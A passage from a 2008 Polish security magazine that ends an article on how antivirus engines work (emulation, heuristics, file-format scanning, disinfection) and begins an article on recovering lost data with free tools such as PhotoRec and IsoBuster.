znaczenie.

•   Emulacja przerwań – Emulacja przerwań 

była głównie wykorzystywana przy 
emulacji trybu rzeczywistego procesora 
w czasach wirusów DOSowych. 
System Windows w trybie użytkownika 
uniemożliwia wołanie większości z nich, 
najczęściej rzucając wyjątek.

•   Emulacja wyjątków – Strukturalna obsługa 

wyjątków (ang. Structural Exception 
Handling) 
jest jedną z najpopularniejszych 
metod ukrywania ścieżki wykonania. 
Funkcje obsługi wyjątków są ustalane, 
następnie wywoływany jest wyjątek, 
który powoduje przejście do innego 
miejsca w kodzie. Ponieważ wyjątek 
może być spowodowany na wiele 
sposobów (np. niedozwolony dostęp do 
pamięci, przerwanie, dzielenie przez zero, 

background image

OBRONA

46

 

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

47

 

HAKIN9 

4/2008

przepełnienia arytmetyczne), konieczne 
jest emulowanie każdego z nich. W 
nowych wersjach systemu Windows 
istnieje również Vectored Exception 
Handling
, który jest w protektorach rzadko 
używany.

•   Emulacja API – Protektory plików, aby 

utrudnić debugowanie wywołują szeroką 
gamę funkcji API. Poczynając od 
najprostszych jak IsDebuggerPresent po 
tak oryginalne jak GetProcessAffinityMask
Tworzenie emulatora wymaga 
implementowania jak największej liczby 
używanych funkcji, choć na szczęście 
większość z nich może zwracać wartości 
domyślne. Często wartości zwracane 
przez wywoływane funkcje nie są nigdzie 
wykorzystywane. Ponieważ protektory 
używają niekiedy nieudokumentowanych 
funkcji Native API, konieczna jest emulacja 
również tego poziomu.

•   Emulacja komunikatów – Jeżeli emulator 

ma służyć nie tylko do odpakowania pliku, 
ale też do analizy behawioralnej, konieczne 
jest dodanie emulacji i przetwarzania 
komunikatów. Przykładowym 
komunikatem, który trzeba zasymulować, 
jest naciśnięcie klawisza [Enter] lub 
aktywacja okna (ustalenie focusu).

•   Emulacja środowiska zewnętrznego 

– Do analizy behawioralnej konieczne 
jest zaimplementowanie zewnętrznego 
środowiska procesu. Wiele infektorów 
plików może zostać wykrytych jedynie, 
gdy są w stanie zainfekować plik, 
wiele robaków można wykryć według 
komunikacji sieciowej, wiele koni 
trojańskich dodaje się w rejestrze jako 
Browser Helper Object. Aby możliwe 
było wykrycie takich akcji konieczne 
jest stworzenie wirtualnego systemu 
operacyjnego, posiadającego systemu 
plików, rejestr i dostęp do sieci. Im więcej 
elementów zewnętrznych zostanie 
zaimplementowanych (np. wirtualny serwer 
HTTP lub IRC), tym skuteczniejsza staje się 
heurystyka.

Zastosowanie emulacji do odpakowania 
likwiduje wszystkie problemy, które występują 
w przypadku statycznego odpakowania. Wiele 
programów antywirusowych nie posiada 
jednak dobrze zaimplementowanego 
emulatora, przez co nie radzi sobie z 
protektorami plików wykonywalnych. Jest tak, 
ponieważ stworzenie pełnego emulatora 

komputera z systemem operacyjnym, jest 
zadaniem skomplikowanym, czasochłonnym 
i żmudnym. Emulator wymaga zespołu 
ludzi stale pracującego nad nim, ponieważ 
protektory używają coraz to nowszych 
sztuczek i wykorzystują coraz więcej funkcji API, 
które trzeba symulować. 

Wykrywanie protektorów

Wiele firm antywirusowych nie będąc w stanie 
przedostać się przez warstwy zabezpieczeń 
jedynie informuje o nich użytkownika. Z 
jednej strony jest to rozwiązanie dobre, 
ponieważ wykrywa wszystkie tak chronione 
niebezpieczne oprogramowanie. Z drugiej 
strony powoduje fałszywe alarmy, gdyż 
niektóre firmy wykorzystują protektory jako 
zabezpieczenie przed crackerami. Większość 
komercyjnych zabezpieczeń wymaga 
maksymalnie kilku dni pracy dobrego 
crackera, żeby zabezpieczenie złamać. Można 
być pewnym, że jeżeli aplikacja jest tego 
warta, to zostanie złamana. Jeszcze niedawno 
stosunek zabezpieczonego malware do 
zabezpieczonego dobrego oprogramowania 
wynosił 10:1. Aktualnie wynosi on ponad 1000:
1. Wykrywanie samych zabezpieczeń wydaje 
się więc dobrym pomysłem, ale sytuacja 
komplikuje się w przypadku zdobywającego 
popularność .NET, gdzie obfuscatory są 
cenione i stosowane od dawna ze względu 
na łatwość dekompilacji pierwotnego kodu.

Analiza

behawioralna i jej przyszłość

Wiele programów antywirusowych oprócz 
analizy behawioralnej podczas emulacji 
stosuje analizę behawioralną w działającym 
systemie. Jest to standardowy element HIPS 
(Host Based Intrustion Prevention System). Ze 
względu na istnienie Kernel Patch Protection 
w systemie Windows Vista wykrywanie 
intruzów tym sposobem zostało mocno 
ograniczone. Przyszłością wydaje się być 
wirtualizacja stosowana w procesorach 
(AMD-V, ITV), którą można zastosować ją na 
jeden z trzech sposobów:

•   Cały system jest uruchamiany w 

wirtualnym środowisku i nadzorowany,

•   Tworzony jest wirtualny komputer 

(sandbox), w którym program przed 
uruchomieniem jest analizowany 
behawioralnie,

•   Każdy proces działa w wirtualnym 

środowisku i jego akcje przenoszone 

są do środowiska rzeczywistego w 
momencie, kiedy program nadzorujący 
stwierdzi ich bezpieczność.

Heurystyka

Metody heurystyczne umożliwiają wykrycie 
wariantu znanego zagrożenia lub – w 
swojej najbardziej rozwiniętej postaci 
– również zidentyfikowanie zupełnie 
nowego zagrożenia. Heurystyka, czyli 
ochrona proaktywna, została dokładniej 
opisana w styczniowym numerze Hackin9. 
Zainteresowanych tematem odsyłam do 
tego numeru.

Ze stosowania zaawansowanych 

metod heurystycznych najbardziej znany 
jest silnik programu NOD32 Antivirus firmy 
ESET, czyli silnik ThreatSense®. Należy 
podkreślić, że metody heurystyczne, 
stosowane przez firmę ESET mocno 
różnią się od typowych, prostych 
heurystyk. Silnik ThreatSense® stosuje 
zaawansowaną heurystykę łączącą 
pełną emulację systemu z analizą 
behawioralną, statyczną analizą kodu i 
wzorcami generycznymi. Uzyskane dane 
są klasyfikowane za pomocą algorytmów 
sztucznej inteligencji niespotykanych w 
innych programach antywirusowych, ale 
wykorzystywanych np. w badaniach nad 
ludzkim genomem. Kod tych algorytmów 
został zoptymalizowany do pracy z 
niebezpiecznymi plikami, w których 
różnorodność danych jest znacznie 
większa niż ACGT łańcucha DNA. Siłę tych 
algorytmów potwierdzają testy heurystyk 
programów antywirusowych, w których 
ESET NOD32 Antivirus uzyskuje ponad 
70% wykrywalność nowych zagrożeń nie 
powodując fałszywych alarmów. Testy 
ochrony proaktywnej przeprowadza m.in. 
austriacki ośrodek AV-Comparatives 
(www.av-comparatives.org).

Skanowanie

formatów plików

Programy antywirusowe nie przetwarzają 
całych plików, gdyż byłoby to zbyt wolne. 
W większości przypadków nie operują 
też na bajtach, gdyż jest to zbyt niski 
poziom abstrakcji, aby możliwe było 
przeprowadzenie skutecznych analiz. 
Silniki programów antywirusowych muszą 
znać strukturę pliku, na którym operują i 
skanować go różnie, w zależności, czy jest to 
plik formatu exe, archiwum zip czy kod html.

background image

OBRONA

46

 

HAKIN9 4/2008

PROGRAMY ANTYWIRUSOWE OD ŚRODKA

47

 

HAKIN9 

4/2008

Możemy wyróżnić główne kategorie 

formatów przetwarzanych obiektów:

•   pliki wykonywalne (np. com, dos exe, pe 

exe, elf ),

•   pliki wykonywalne z kodem pośrednim 

(Visual Basic, MSIL, Java),

•   pliki skryptowe (vbs, bat, sh, html),
•   protokoły sieciowe (http, ftp, icq, msn),
•   kontenery, w których są osadzone inne 

obiekty:
•   archiwa (ziprartgz),
•   instalatory (Wise, NSIS),
•   obiekty OLE (doc, ppt, xls),
•   pliki poczty, skrzynki pocztowe 

(mbox, dbx, pst, msg, tnef ),

•   obrazy płyt (iso, mds, nrg),
•   zasoby plików wykonywalnych,
•   pliki pomocy,
•   pliki urządzeń mobilnych (sis),
•   kontenery wieloplikowe (rar, r01, r02...),
•   inne kontenery.

Największym problemem, w przypadku 
parsowania formatów plików są zamknięte 
źródła o niedostępnej specyfikacji... ale 
też otwarte źródła, które każdy może 
zmodyfikować. O ile w przypadku zamkniętej 
specyfikacji praca wymaga inżynierii 
wstecznej, niekiedy będącej na pograniczu 
prawa, to możemy być pewni, że autor dla 
własnej wygody trzyma się opracowanego 
przez siebie standardu. Otwarte źródła (na 
przykład instalatora NSIS) powodują, że 
każdy może wprowadzić do niego zmiany, 
przez co powstałych wariantów formatów 
są dziesiątki. W efekcie każdy wariant jest 
formatem zamkniętym i firma antywirusowa 
musi ponownie skorzystać z inżynierii 
wstecznej.

W przypadku udostępnienia przez 

producenta specyfikacji nie zawsze można 
na niej polegać, gdyż implementacja w 
programie producenta nie zawsze jest z nią 
zgodna. Powoduje to występowanie luźnych 
formatów, które mimo licznych modyfikacji 
wciąż są interpretowane bez zgłaszania 
błędów. Luźne formaty plików lub ich 
całkowity brak (jak jest w przypadku języków 
skryptowych), powodują liczne komplikacje 
i spowalniają działanie programów 
antywirusowych. Program antywirusowy nie 
może z ich powodu stwierdzić, że plik na 
pewno nie jest danego formatu, więc musi 
zostać przeskanowany pod kątem zagrożeń 
występujących w tym formacie.

Skanowanie formatów plików ściśle 

związane jest z wykrywaniem exploitów. 
Plik niespełniający wymagań specyfikacji w 
wielu przypadkach umożliwia przepełnienie 
bufora lub inny atak na aplikację. Ponieważ 
producenci oprogramowania dostarczają 
łaty z opóźnieniem, a część użytkowników 
chce być chroniona nawet bez aktualizacji 
oprogramowania, na barkach twórców 
antywirusów spoczywa zadanie wykrywania 
błędów w plikach i protokołach sieciowych.

Kolejnym problemem jest kodowanie. 

Dane mogą być zakodowane na wiele 
sposobów (UNICODE, UTF, BASE64, 
UUENCODE, BINHEX) i każdy z nich program 
antywirusowy musi sprowadzić do postaci 
znormalizowanej. W przypadku plików 
binarnych występują różnice kodowania 
kolejności bajtów na różnych procesorach.

Innym problemem, bardzo trudnym do 

obejścia, są formaty szyfrowane hasłem 
dostarczanym użytkownikowi drogą 
zewnętrzną. Hasła stosowane w archiwach 
wysyłanych pocztą elektroniczną trafiają do 
użytkownika w formie obrazka lub tekstu. 
Można próbować wykorzystać słowa listu 
do odszyfrowania archiwum, można łamać 
hasła metodą brute-force, ale w przypadku 
długiego hasła dostarczonego w obrazku 
pozostają zawodne techniki OCR.

Moduł leczący

Leczenie w programach antywirusowych 
pierwotnie dopasowane było do konkretnych 
wersji wirusa lub konia trojańskiego. Każdy 
jednoznacznie wykrywany program mógł mieć 
przypisaną procedurę leczącą. Współcześnie 
odchodzi się od wykrywania sygnaturami 
na rzecz uogólnionych wzorców i metod 
heurystycznych. W tym przypadku leczenie 
musi przebiegać w sposób uogólniony. 
Program antywirusowy usuwa z systemu 
wszystkie odnośniki do niebezpiecznego 
obiektu, zabija jego proces, usuwa pliki.

Niestety, nie jest możliwe 

przeanalizowanie każdego pliku i 
przygotowanie na niego szczepionki. 
Niebezpieczne oprogramowanie działa w 
środowisku dynamicznym. W każdej chwili 
aktualizuje się, jest zastępowane nową wersją 
pobraną z Internetu lub ściąga dodatkowe 
komponenty. Zdefiniowana stała procedura 
lecząca nie usunie wszystkich zagrożeń.

Program antywirusowy, oprócz usunięcia 

obiektów, powinien przywrócić zmiany 
dokonane przez niebezpieczny program, 

ale znów nie jest to możliwe. Nie można 
stwierdzić, czy zmiany w systemie dokonał 
niebezpieczny program, czy też administrator 
systemu. Wiele robaków wyłącza domyślną 
zaporę ogniową, ale robią to też użytkownicy. 
Administratorzy kawiarenek internetowych 
wyłączają Menadżer Zadań, ale robią 
to też konie trojańskie. Niebezpieczne 
oprogramowania odbiera użytkownikom 
uprawnienia w systemie, ale może zrobić to 
ojciec informatyk nadzorujący pracę swoich 
dzieci. Czy ustawienia domyślne powinny być 
przez antywirusa przywracane?

Inną kwestia jest zagadnienie sensu 

leczenia. W środowiskach stawiających na 
bezpieczeństwo w przypadku ataku cały 
system jest czyszczony, gdyż nie ma gwarancji, 
że po infiltracji zostało znalezione i usunięte 
z niego wszystko, co jest niebezpieczne. 
Współczesne systemy informatyczne, a 
nawet same systemy operacyjne, są zbyt 
skomplikowane, aby je w pełni przeanalizować. 
Środowiska rządowe lub korporacyjne zdają 
sobie z tego sprawę. Odmienne wymagania 
mają użytkownicy domowi, którzy są 
przyzwyczajeni do posiadania zainfekowanych 
systemów i nie widzą w przypadku infekcji 
problemu. Sytuacja ta powoli się zmienia 
wraz z rozpowszechnieniem niebezpiecznego 
oprogramowania powodującego szkody 
finansowe wśród użytkowników.

Podsumowanie

Prawo patentowe Stanów Zjednoczonych 
spowodowało, że większość z powszechnie 
używanych na świecie technik antywirusowych, 
nawet tych najprostszych, została 
opatentowana. Po kilku procesach sądowych 
firmy antywirusowe przestały omawiać 
techniki, które stosują w swoich programach, 
przez co trudno jest znaleźć dokładne 
informacje na ich temat. Artykuł ten stanowi 
przegląd popularnie używanych technik i 
opisuje problemy, z jakimi stykają się twórcy 
silników antywirusowych. Mam nadzieję, że 
uchylił rąbka tajemnicy.

Jakub Dębski

jest starszym analitykiem w firmie ESET (producent m.in. 

programów ESET NOD32 Antivirus oraz ESET Smart 

Security), specjalizującej się w ochronie proaktywnej 

z wykorzystaniem najbardziej zaawansowanych 

mechanizmów analizy heurystycznej. Wcześniej przez 

wiele lat pracował w polskich firmach antywirusowych. Był 

kierownikiem projektu silnika mks_vir, następnie ArcaVir. 

Studia na Wojskowej Akademii Technicznej ukończył 

obroną pracy dyplomowej na temat wykorzystania sieci 

neuronowych w detekcji zagrożeń internetowych.

Kontakt z autorem: debski.jakub@wp.pl

background image

48

 

OBRONA

HAKIN9 4/2008

ile przywrócenie systemu operacyjnego 
i wykorzystywanych programów do 
stanu używalności, wymagając co 

prawda poświęcenia pewnej ilości czasu czasu 
i minimalnej wiedzy w zakresie instalacji, leży 
w możliwościach przeciętnego użytkownika, 
o tyle stracone osobiste dane wymagają 
potraktowania w specyficzny sposób. 
Najważniejszą zasadą w przypadku utraty 
danych jest natychmiastowe zaprzestanie 
wykonywania jakichkolwiek operacji zapisu na 
nośniku, z którego informacje zniknęły. Warto 
również odciąć dostęp do Internetu, gdyż jeśli 
skasowanie danych jest wynikiem celowego 
ataku osoby z zewnątrz, blokujemy możliwość 
sterowania komputerem przez hakera oraz 
zapobiegamy dalszej zdalnej destrukcji systemu.

Należy pamiętać, aby po utracie danych 

ze swojego komputera nie wpadać od razu w 
panikę. Istnieje wiele metod i narzędzi, które 
pomogą w odzyskaniu skasowanych plików. Na 
rynku funkcjonuje kilka firm, które w profesjonalny 
sposób zajmują się przywracaniem danych 
z wszelakich nośników. Firmy te korzystają z 
różnych sposobów, zarówno software’owych jak 
i hardware’owych, jednak usługi ich są bardzo 
drogie i skierowane raczej do dużych firm. Nie 
znaczy to, że w warunkach domowych nie można 
podjąć próby ratunkowej, wręcz przeciwnie 
– można i bardzo często zakończyć się może ona 
pełnym sukcesem. W artykule omówione zostały 
różne przypadki utraty bądź uszkodzenia plików 

BARTŁOMIEJ CYRNY

Z ARTYKUŁU 

DOWIESZ SIĘ

jak odzyskać dane po awarii czy 

ataku wirusa,

czy porysowana płyta CD nadaje 

się tylko na śmietnik,

co zrobić, kiedy aparat nie widzi 

wykonanych zdjęć,

czy zaginiona partycja oznacza 

totalną katastrofę,

dlaczego wykonanie obrazu 

partycji systemowej może 

przynieść korzyści,

na ile wykonywanie kopii 

zapasowych może oszczędzić 

nerwów.

CO POWINIENEŚ 

WIEDZIEĆ

powinieneś znać obsługę i 

konfigurację systemu Windows 

na poziomie co najmniej 

podstawowym,

powinieneś posiadać wiedzę na 

temat sposobu zapisu danych 

na dyskach oraz podziału 

dysków na partycje.

oraz sposoby ich programowego rozwiązania. 
Wykorzystane zostały wyłącznie programy, które 
można pobrać za darmo z Sieci – na licencji 
freeware lub shareware.

Uszkodzenia dysków

Generalnie uszkodzenia dysków twardych 
możemy podzielić na dwa typy: uszkodzenia 
logiczne i fizyczne. W tym drugim przypadku 
mamy do czynienia z problemami 
elektronicznymi lub mechanicznymi – usterka 
może dotyczyć samego nośnika fizycznego, 
czyli talerzy. Uszkodzenia fizyczne najczęściej 
objawiają się dziwnymi dźwiękami wydawanymi 
przez dysk, charakterystycznym stukaniem 
lub nie wykrywaniem dysku w BIOSie. Często 
bywa również tak, że dysk nie wydaje żadnych 
dźwięków – oznacza to, iż talerze się nie kręcą. 
Warto zauważyć, że niektóre uszkodzenia 
logiczne są podobne do fizycznych – na 
przykład uszkodzenie struktury fizycznej może 
powodować błędy odczytu. Przy diagnozowaniu 
problemu wielce przydatny okaże się S.M.A.R.T 
(Self-Monitoring, Analysis and Reporting 
Technology
), czyli system monitorowania i 
powiadamiania o błędach działania twardego 
dysku. Aby skorzystać z dobrodziejstw tego 
systemu, niezbędne jest włączenie odpowiedniej 
opcji w BIOSie, a następnie skorzystanie z 
odpowiedniej aplikacji. Odczyty parametrów 
systemu S.M.A.R.T. są widoczne nie tylko z 
poziomu specjalistycznych aplikacji, ale również z 

Stopień trudności

Odzyskiwanie 

danych

Utrata danych wiąże się często z dużymi stratami, nierzadko 

także finansowymi. Nie ma tu większego znaczenia, czy będzie 

to przemyślany atak hakera, działanie wirusa lub trojana, 

przypadkowe skasowanie przez użytkownika czy awaria systemu 

operacyjnego. 

background image

49

 

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

HAKIN9 

4/2008

popularnych narzędzi diagnostycznych, na 
przykład Everest lub Sandra.

Przykładem programu przeznaczonego 

specjalnie do testowania dysków twardych 
jest HD Tune 2.54 (Rysunek 1).

Przy jego pomocy można sprawdzić 

dysk pod kątem występowania błędów, 
przetestować jego wydajność, sprawdzić 
stan parametrów S.M.A.R.T, a także 
uzyskać podstawowe informacje na temat 
podłączonych urządzeń.

Z racji swojej budowy, tj. zawartości 

wielu ruchomych części, klasyczne twarde 
dyski są urządzeniami delikatnymi, które 
może uszkodzić nawet mocniejszy wstrząs. 
Najczęściej spotykanym problemem jest 
ujawnianie się tak zwanych bad sectorów, 
czyli po prostu uszkodzonych sektorów 
dysku. Uszkodzone sektory dzielą się na 
logiczne – spowodowane błędną strukturą 
logiczną dysku oraz fizyczne – uszkodzone 
mechanicznie. Warto tu podkreślić, że 
jedynym pewnym sposobem pozbycia 
się uszkodzonych fizycznych sektorów jest 
wymiana dysku na nowy. Można podjąć 
jeszcze próbę przełożenia elektroniki z 
identycznego sprawnego dysku, wymaga 
to jednak fizycznej ingerencji w sam dysk, a 
także sporej precyzji oraz uwagi.

Wszystkie dyski twarde mają 

ograniczoną żywotność, co oznacza, że 
mimo wszelkich środków ostrożności i 
tak w końcu ulegną uszkodzeniu. Dzięki 
stosowaniu się do paru prostych zasad 
możemy jednak przedłużyć czas życia 
dysku i zminimalizować możliwość utraty 
danych. Wciąż najrozsądniejszym wyjściem 
pozostaje jednak wykonywanie kopii 
bezpieczeństwa szczególnie ważnych 
plików.

Odzysk utraconych plików

Najczęstszym przypadkiem utraty danych 
na dysku jest przypadkowe usunięcie 
danego pliku czy katalogu ze zbiorem 
większej ilości danych, niekiedy za czystkę 
na dysku odpowiada niepożądane 
działanie wirusa czy trojana. Należy 
pamiętać, że pozornie skasowany plik 
Kosza dalej funkcjonuje w systemie, 
tylko jest niewidoczny dla użytkownika. 
Tabela partycji, na której znajduje się 
pozornie skasowany plik, zawiera wszystkie 
informacje na temat fizycznego położenia 
każdego zbioru. Wszystko jest jednak 
dobrze do momentu, kiedy usunięty plik nie 

zostanie nadpisany innymi danymi, dlatego 
ważne jest, aby po stwierdzeniu braku 
ważnych plików nie dokonywać żadnych 
operacji na tym dysku/partycji. Zwiększy 
to prawdopodobieństwo odzyskania 
utraconych plików w stanie nienaruszonym. 
W tej sytuacji z pomocą przychodzą takie 
programy jak FreeUndelete 2.0 (Rysunek 
2) czy PC Inspector File Recovery 4.0, 
które potrafią podejrzeć tabele partycji i 
odzyskać z nich dane.

Pierwszy z nich ma dodatkowo tę 

zaletę, że pozwala na instalację na 

pendrivie, co ma duże znaczenie, jeśli w 
komputerze jest tylko jedna partycja na 
dysku. Instalując program do odzysku 
utraconych danych na partycji, z której 
dane zniknęły, mogłoby dość do sytuacji, 
że instalacja nadpisałaby pliki, które miały 
być odzyskane! Obsługa programów 
nie jest skomplikowana i sprowadza 
się do wybrania dysku, który ma zostać 
przeskanowany oraz ewentualnie 
do ustawienia filtracji pod kątem 
poszukiwania plików określonego typu, na 
przykład *.xls dla arkuszy kalkulacyjnych z 

Rysunek 1. 

Okno programu FreeUndelete

Rysunek 2. 

Okno programu IsoBuster

background image

OBRONA

50

 

HAKIN9 4/2008

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

51

 

HAKIN9 

4/2008

programu Excel. Wynikiem działania obu 
programów jest lista plików, które dało 
się odczytać i prawdopodobnie uda się 
przywrócić. Należy mieć świadomość, 
że nie wszystkie pliki mogą dać się 
odzyskać w pełni, może się zdarzyć tak, 
że część plików została już częściowo 
nadpisana – wtedy będą miały status 
Poor. Te pliki, które programy są w stanie 
w pełni przywrócić, otrzymają status 
Good. Na koniec pozostaje tylko wskazać 
dysk lub partycję, gdzie odzyskane pliki 
mają zostać zapisane i poczekać, aż 
program wykona powierzone mu zadanie. 
Nie należy zapisywać plików na partycji, 

z której odzyskuje się dane – najlepiej 
wykorzystać do tego drugą partycję albo 
pendrive. Proces skanowania dysku oraz 
przywracania danych może trwać bardzo 
długo – zależy to głównie od wielkości 
dysku oraz stopnia pofragmentowania 
plików. Dlatego tak istotna jest częsta 
defragmentacja dysków – zwiększy to 
w przyszłości szanse na ewentualne 
odzyskanie utraconych danych. Jeśli 
wszystko powiedzie się pomyślnie, to na 
koniec program poinformuje nas o tym 
stosownym komunikatem, a odzyskane 
pliki zostaną zapisane we wskazanym 
wcześniej miejscu.

Ratowanie płyt CD/DVD

Kiedy nośniki w postaci płyt CD (a potem 
DVD) wchodziły na rynek, zapewniano, 
że dane zapisane na nich przetrwają 
kilkadziesiąt lat i więcej. Niestety, zalew 
rynku tanimi i tym samym marnej jakości 
nośnikami doprowadził do tego, że z 
zapisanych płyt czasami nie da się 
odczytać wielu informacji już po kilku 
miesiącach! Tutaj też nie pozostajemy 
bezradni, dane z porysowanych czy 
z pozoru dobrych, ale nie dających 
się odczytać płytek, odzyska w wielu 
przypadkach program IsoBuster 2.2 
(Rysunek 3).

Program występuje w dwóch wersjach, 

darmowej i płatnej, jednak różnica między 
nimi polega na obsłudze w wersji płatnej 
dodatkowo płyt w formatach HD-DVD 
oraz Blu-ray, pozostałe funkcje dostępne 
są również w wersji bezpłatnej. Po 
uruchomieniu programu oraz włożeniu 
do napędu uszkodzonej płyty nastąpi 
automatyczny odczyt zapisanych na 
niej danych. Po przeanalizowaniu całej 
płytki ukaże się lista plików, które można 
następnie skopiować na inny napęd, na 
przykład dysk twardy. Może się jednak 
zdarzyć, że ten sposób nie przyniesie 
oczekiwanych wyników na liście plików 
do odzyskania. Wtedy pozostaje jeszcze 
drugi wariant, jaki oferuje IsoBuster 
– utworzenie tak zwanego obrazu płyty, 
czyli pliku na dysku komputera, który 
będzie wierną kopią płyty. To rozwiązanie 
ma wiele zalet – nie nadwyręża się i tak 
już niesprawnego nośnika poprzez częsty 
odczyt, także sam proces odzyskiwania 
przebiega szybciej z obrazu na dysku 
twardym niż z porysowanej płytki. Po 
utworzeniu obrazu ze zniszczonej płyty 
można przystąpić do jego analizy i 
późniejszego kopiowania odczytanych 
plików na dysk. Ostatnią metodę, jaką 
oferuje IsoBuster, należy wykorzystywać 
wyłącznie jeśli zawiodą opisane powyżej 
dwie poprzednie, ponieważ obciąża 
ona znacząco zarówno dysk, jak i sam 
napęd. Należy przeanalizować raz 
jeszcze płytę, ale ustawiając wcześniej 
w opcjach odczytu liczbę ponowień 
odczytu pojedynczego i wielokrotnych 
bloków danych na 6. Spowoduje to odczyt 
uszkodzonych bloków do sześciu razy z 
rzędu, zwiększając szansę na odzyskanie 
danych. Należy pamiętać, że tak 

Rysunek 3. 

Okno programu PhotoRec

Rysunek 4. 

Okno programu Partition Manager

background image

OBRONA

50

 

HAKIN9 4/2008

ODZYSKIWANIE I ZABEZPIECZANIE DANYCH PO ATAKU HAKERSKIM

51

 

HAKIN9 

4/2008

skonfigurowana analiza płyty może trwać 
bardzo długo, ale przynieść w efekcie 
zamierzony efekt.

Kiedy znikną zdjęcia

W związku z popularnością oraz 
malejącymi cenami aparatów cyfrowych, a 
także nośników do zapisu zdjęć w postaci 
cyfrowej w tychże aparatach, mało kto 
robi już zdjęcia tradycyjnymi aparatami 
na kliszę. Wbudowane układy flash, karty 
pamięci czy miniaturowe dyski używane 
jako nośniki do zapisu zdjęć i filmów w 
aparatach czy kamerach są teoretycznie 
trwalszym nośnikiem niż klisza czy taśma. 
Zdarzyć się jednak może, że z nieznanych 
nam przyczyn aparat zniszczy część zdjęć, 
a niekiedy przez przypadek samemu 
sformatuje się kartę pamięci. W tej sytuacji 
najskuteczniejszym narzędziem okazuje się 
program PhotoRec 6.9 (Rysunek 4), który 
w przypadku pozornie uszkodzonych bądź 
czystych nośników cyfrowych obrazów 
potrafi zdziałać cuda.

Największą zaletą programu jest to, 

że ignoruje w znaczącym stopniu system 
plików, a swoje działania skupia na 
indywidualnym kodzie nagłówka każdego 
pliku. Tym sposobem PhotoRec odzyskuje 
pliki nawet wtedy, kiedy system plików został 
zmieniony lub nośnik – sformatowany. 
Program może na początku odstraszyć 
zwłaszcza osoby przyzwyczajone do 
pracy wyłącznie w interfejsie graficznym, 
ponieważ uruchamia się w trybie 
tekstowym. Obsługa nie jest jednak 
skomplikowana i nie ma konieczności 
wpisywania jakichkolwiek poleceń 
– wszystkie opcje wybiera się operując 
kursorami. Po podłączeniu aparatu do 
komputera bądź karty pamięci, na przykład 
poprzez czytnik, należy w programie 
wybrać na liście wszystkich rozpoznanych 
nośników (włącznie z dyskami twardymi) 
ten, z którego zniknęły obrazy. W kolejnym 
kroku program zapyta o typ tabeli partycji, 
w większości przypadków będzie to Intel
W następnym kroku warto podać, które 
formaty plików stanowią centrum naszego 
zainteresowania. Jeśli wiadomo, że aparat 
zapisuje zdjęcia w formacie JPG, to nie 
ma sensu przeszukiwać nośnika pod 
kątem innych formatów. Następnie należy 
powrócić do głównego okna i wybrać opcję 
Search, a program zapyta jeszcze o typ 
systemu – tutaj wybieramy Other (chyba, 

że nośnik został wcześniej sformatowany w 
systemie Linux czy OS X). Program może 
przeszukać teraz albo cały nośnik, albo 
tylko pozostałą wolną przestrzeń, a wyniki 
swojej pracy zapisze domyślnie w katalogu 
z programem, chyba że wcześniej wskaże 
się inny.

Pamięta o partycjach

To, że dysk powinien być podzielony na 
partycje, wie każdy przeciętny użytkownik 
komputera. Robi się tak dlatego, iż utrata 

danych z jednej z partycji (o ile uszkodzenie 
ma charakter logiczny) nie wiąże się 
z utratą plików na innych partycjach. 
Przypadek, kiedy jedna z partycji przestaje 
być widoczna w systemie, jest dość rzadki 
– ale co zrobić, jeśli coś takiego się nam 
przydarzy? W wyniku błędu użytkownika 
bądź destrukcyjnej działalności wirusa 
często znikają niektóre zapisy w tablicy 
alokacji plików. W tej sytuacji, na pierwszy 
rzut oka beznadziejnej, nie należy od razu 
rozkładać rąk. Tak z pozoru utraconą 

Rysunek 5. 

Okno programu Driver Backup

Rysunek 6. 

Okno programu Cobian Backup

background image

partycję da się zazwyczaj przywrócić 
do stanu sprzed awarii. Do tej operacji 
potrzebny będzie program Partition 
Manager 8.5 firmy Paragon (Rysunek 5).

Po uruchomieniu programu (jeśli 

uszkodzeniu uległa partycja systemowa, 
to program należy zainstalować na innym 
komputerze, a dysk z niedziałającą partycją 
podłączyć jako dodatkowy) należy kliknąć 
przycisk Undelete Partition, który wywoła 
kreatora odzysku partycji. Nie pozostaje 
nic innego, jak tylko wybrać dysk, z którego 

zaginęła partycja i pozwolić programowi 
przeanalizować nośnik. Jeśli wiadomo, w 
jakim systemie plików jest sformatowana 
zaginiona partycja, to można przyspieszyć 
proces wyszukiwania, wybierając w 
kreatorze opcję I want to select file system 
and search criteria
, a następnie All known 
file systems
 i wybrać dany system plików, 
na przykład FAT32 czy NTFS. Wynikiem 
pracy Partition Managera będzie lista 
odnalezionych partycji wraz z ich lokacjami. 
Wystarczy już tylko wybrać partycję do 

odzyskania i potwierdzić wykonanie 
zadania. Aby partycja była widoczna w 
systemie, wymagane jest już tylko ponowne 
uruchomienie komputera.

Obraz partycji dobra rzecz

W przypadku awarii dysku, uszkodzenia 
sporej ilości plików odpowiedzialnych za 
poprawne funkcjonowanie systemu czy 
destrukcyjnej działalności wirusa bądź 
innego szkodnika, odzyskanie danych 
może okazać się niewystarczające do 
dalszej poprawnej pracy komputera. 
Wystarczy, że ze stu plików systemowych 
jeden nie odzyska się w pełni, a system 
nie uruchomi się poprawnie. Dlatego 
warto przygotować się wcześniej na 
sytuację, kiedy to może przyjść nam 
ponownie instalować i aktualizować 
system, konfigurować używane na co 
dzień programy itp. Ten, kto dokonywał 
takiej operacji, wie, że proces ten jest 
czasochłonny i może zająć od kilku 
do kilkunastu godzin. Aby uniknąć 
ponownej instalacji i konfiguracji 
swojego komputera, warto zrobić obraz 
partycji systemowej i w razie awarii 
powrócić do poprzedniego stanu. 
Obraz partycji warto wykonać zaraz po 
instalacji systemu, instalacji sterowników 
do urządzeń, pobraniu wszystkich 
aktualizacji oraz instalacji używanych 
na co dzień programów. Mamy wtedy 
pewność, że jest to w pełni działająca i 
sprawna konfiguracja, która w przypadku 
odtworzenia pozwoli po kilku minutach na 
normalną pracę. Aplikacją, która posłuży 
nam do wykonania obrazu partycji oraz 
ewentualnego przywrócenia jej, będzie 
Driver Backup 8.5 (Rysunek 6).

Program posiada ciekawą 

funkcjonalność, która pozwala tworzyć 
obraz partycji systemowej podczas 
normalnej pracy systemu. Wykonanie 
obrazu partycji wspomaga kreator, 
którego uruchamiamy wybierając Back 
up hard disks or selected partitions
. Aby 
zmniejszyć rozmiar pliku wynikowego, 
można zastosować kompresję, co 
pozwoli na zaoszczędzenie od kilku 
